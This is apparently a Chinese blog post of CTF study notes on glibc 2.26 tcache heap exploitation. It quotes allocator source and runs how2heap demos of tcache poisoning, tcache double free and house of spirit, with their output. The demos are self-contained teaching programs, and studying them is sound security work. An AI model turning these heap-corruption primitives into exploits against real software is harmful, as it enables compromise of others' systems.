本文最后更新于:星期五, 三月 8日 2019, 8:32 晚上
最近做国际赛的题,遇到了tcache下的堆利用,之前没有接触过tcache机制,所以就来学习一下,主要是围绕howtoheap来学习,做下笔记。
tcache机制是glibc-2.26新增的机制,主要是用来提升堆管理的性能,但是它的安全机制几乎没有….所以搞事就容易很多了,混子pwn手的福音
基础知识
tcache的两个新增的结构体
typedef struct tcache_entry //tcache_entry 是用来链接chunk的结构体,*next指向下一个chunk的
{ //user data
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct //tcache的管理结构,一共有64项entries
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
一些新增的宏
//tcache新增的宏
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64 //tcache entries的数量
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1) //tcache的最大大小
/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7 //一个entry最多可以有7个chunk
#endif
源码分析我就不写了,懒~,大佬们写的都很详细了
tcache_poisoning
通过覆盖tcache_entry中的 next指针,实现任意地址分配。因为tcache_get函数没有安全性检查机制
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;//基本什么检查都没有
--(tcache->counts[tc_idx]);
return (void *) e;
}
源码:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
size_t stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
fprintf(stderr, "Allocating 1 buffer.\n");
intptr_t *a = malloc(128);
fprintf(stderr, "malloc(128): %p\n", a);
fprintf(stderr, "Freeing the buffer...\n");
free(a);
fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *b = malloc(128);
fprintf(stderr, "2nd malloc(128): %p\n", b);
fprintf(stderr, "We got the control\n");
return 0;
}
运行结果:
zs0zrc@ubuntu:~/pwn/how2heap/glibc_2.26$ ./tcache_poisoning
The address we want malloc() to return is 0x7ffe8a1508e0.
Allocating 1 buffer.
malloc(128): 0x562bb17cd260
Freeing the buffer...
Now the tcache list has [ 0x562bb17cd260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x562bb17cd260
to point to the location to control (0x7ffe8a1508e0).
1st malloc(128): 0x562bb17cd260
Now the tcache list has [ 0x7ffe8a1508e0 ].
2nd malloc(128): 0x7ffe8a1508e0
We got the control
这个程序先分配了一个大小128的chunk,然后将它free掉。此时这个chunk会被放入tcache中,然后修改它的next字段,修改为一个栈上变量的地址。最后在分配两次128大小的chunk,就可以控制栈上的内容了。
tcache_dup
这个这是效果和double free差不多,但是比glibc_2.25版本简单,直接free两次就好了,因为tcache_put也没什么检查机制
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
how2heap例子
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");
fprintf(stderr, "Allocating buffer.\n");
int *a = malloc(8);
fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
return 0;
}
运行结果:
zs0zrc@ubuntu:~/pwn/how2heap/glibc_2.26$ ./tcache_dup
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x5595e067f260
Freeing twice...
Now the free list has [ 0x5595e067f260, 0x5595e067f260 ].
Next allocated buffers will be same: [ 0x5595e067f260, 0x5595e067f260 ].
free两次后tcache的情况
house_of_spirit
这个主要是由于tcache_put函数没有对chunk的前后chunk的有效性进行检查,所以只要构造好本块对齐的chunk就可以free掉放入tcache中。
前提:(x64位下) ps:free掉的地址是伪造的chunk的user_data地址,和之前还是有点不同的
- 伪造的size<= 0x410
- malloc的大小 <= 0x408
源码:
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
malloc(1);//init heap
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
free掉伪造的chunk后堆的情况
reference:
Heap_Exploitation pwn housetoheap
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!